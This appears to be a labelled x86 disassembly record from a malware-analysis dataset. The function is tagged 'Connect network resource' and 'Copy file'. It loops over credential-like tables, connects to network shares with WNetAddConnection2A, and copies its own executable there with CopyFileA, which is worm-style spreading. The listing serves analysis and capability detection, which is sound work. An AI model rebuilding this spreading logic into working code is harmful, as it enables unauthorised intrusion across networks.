Function at 0x409c70
Capabilities:
Connect network resource
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
call fcn.00404234
xor eax, eax
push ebp
push 0x409f09
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
push 0x409f24
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
mov dword [ebp - 0x3c], 1
xor eax, eax
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 8]
call fcn.00404244
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
call fcn.00404044
push eax
mov eax, dword [ebp - 0x14]
call fcn.00404244
push eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
call sub.KERNEL32.DLL_GetModuleFileNameA
call fcn.00409a14
test eax, eax
je 0x409d19
mov ax, 3
mov word [ebp - 0xe], 3
jmp 0x409d21
xor eax, eax
mov word [ebp - 0xe], 0
movzx eax, ax
test eax, eax
jl 0x409ede
inc eax
mov dword [ebp - 0x18], eax
mov eax, 0x40b144
mov dword [ebp - 0x20], eax
movzx eax, word [ebp - 0xe]
test eax, eax
jl 0x409ed1
inc eax
mov dword [ebp - 0x1c], eax
mov edi, 0x40b134
push 0
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
call fcn.00404244
push eax
mov eax, dword [edi]
call fcn.00404244
push eax
lea eax, [ebp - 0x40]
push eax
call sub.mpr.dll_WNetAddConnection2A
mov edx, eax
sub edx, 5
je 0x409d81
sub edx, 0x51
je 0x409d8b
sub edx, 0x4d8
je 0x409d95
jmp 0x409d9d
mov edx, dword [0x40b168]
inc dword [edx]
jmp 0x409d9d
mov edx, dword [0x40b15c]
inc dword [edx]
jmp 0x409d9d
mov edx, dword [0x40b174]
inc dword [edx]
test eax, eax
jne 0x409ec5
mov esi, 4
mov ebx, 0x40b124
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 0x2c]
call fcn.00403fb4
lea eax, [ebp - 0x44]
mov edx, dword [ebx]
call fcn.0040404c
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 4]
call fcn.004099e8
test eax, eax
je 0x409ea4
push 0
push dword [ebp - 8]
push dword [ebx]
mov eax, dword [0x40b184]
push dword [eax]
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x48]
call fcn.00404244
push eax
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x4c]
call fcn.00404244
push eax
call sub.KERNEL32.DLL_CopyFileA
test eax, eax
je 0x409e9d
mov eax, dword [0x40b178]
inc dword [eax]
mov eax, dword [0x40b18c]
cmp dword [eax], 0
jne 0x409e67
push 0x409f30
mov eax, dword [0x40b160]
mov eax, dword [eax]
push dword [eax + 0x14]
push 0x409f44
mov eax, dword [ebp - 4]
push dword [eax + 0x14]
push 0x409f60
lea eax, [ebp - 0x50]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x50]
mov eax, dword [0x40b160]
mov eax, dword [eax]
call fcn.00404e48
call fcn.00409a14
test eax, eax
je 0x409e94
push dword [ebp - 8]
push dword [ebx]
mov eax, dword [0x40b184]
push dword [eax]
lea eax, [ebp - 0x54]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 4]
call fcn.00409a40
mov dword [ebp - 0xc], 0xffffffff
jmp 0x409ea4
mov eax, dword [0x40b170]
inc dword [eax]
add ebx, 4
dec esi
jne 0x409daf
mov ebx, 0x15
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call sub.mpr.dll_WNetCancelConnectionA
test eax, eax
je 0x409ec5
dec ebx
jne 0x409eb3
add edi, 4
dec dword [ebp - 0x1c]
jne 0x409d4d
add dword [ebp - 0x20], 4
dec dword [ebp - 0x18]
jne 0x409d38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409f10
lea eax, [ebp - 0x54]
mov edx, 5
call fcn.00403df0
lea eax, [ebp - 0x14]
call fcn.00403dcc
lea eax, [ebp - 8]
call fcn.00403dcc
ret